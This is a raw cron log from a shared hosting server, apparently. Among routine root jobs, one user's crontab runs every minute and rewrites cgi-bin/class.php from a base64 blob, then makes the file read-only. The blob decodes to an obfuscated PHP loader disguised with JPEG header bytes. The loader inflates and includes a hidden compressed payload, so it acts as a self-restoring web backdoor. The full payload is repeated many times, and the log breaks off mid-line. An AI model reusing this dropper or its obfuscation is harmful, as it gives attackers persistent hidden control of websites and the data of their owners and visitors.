Apr 11 09:55:01 server CROND[15154]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:56:01 server CROND[15253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:57:01 server CROND[15306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:57:01 server CROND[15307]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 09:58:01 server CROND[15355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:59:01 server CROND[15415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:00:01 server CROND[15529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:00:01 server CROND[15530]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 10:00:01 server CROND[15533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:00:01 server CROND[15532]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 10:00:01 server CROND[15534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:01:01 server CROND[15682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:01:01 server CROND[15683]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 10:01:02 server run-parts(/etc/cron.hourly)[15683]: starting 0anacron
Apr 11 10:01:02 server run-parts(/etc/cron.hourly)[15695]: finished 0anacron
Apr 11 10:02:01 server CROND[15738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:03:01 server CROND[15783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:04:01 server CROND[15831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:05:01 server CROND[15879]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 10:05:01 server CROND[15880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:05:01 server CROND[15881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:05:01 server CROND[15882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:06:01 server CROND[16092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:07:01 server CROND[16143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:08:01 server CROND[16194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:09:01 server CROND[16256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg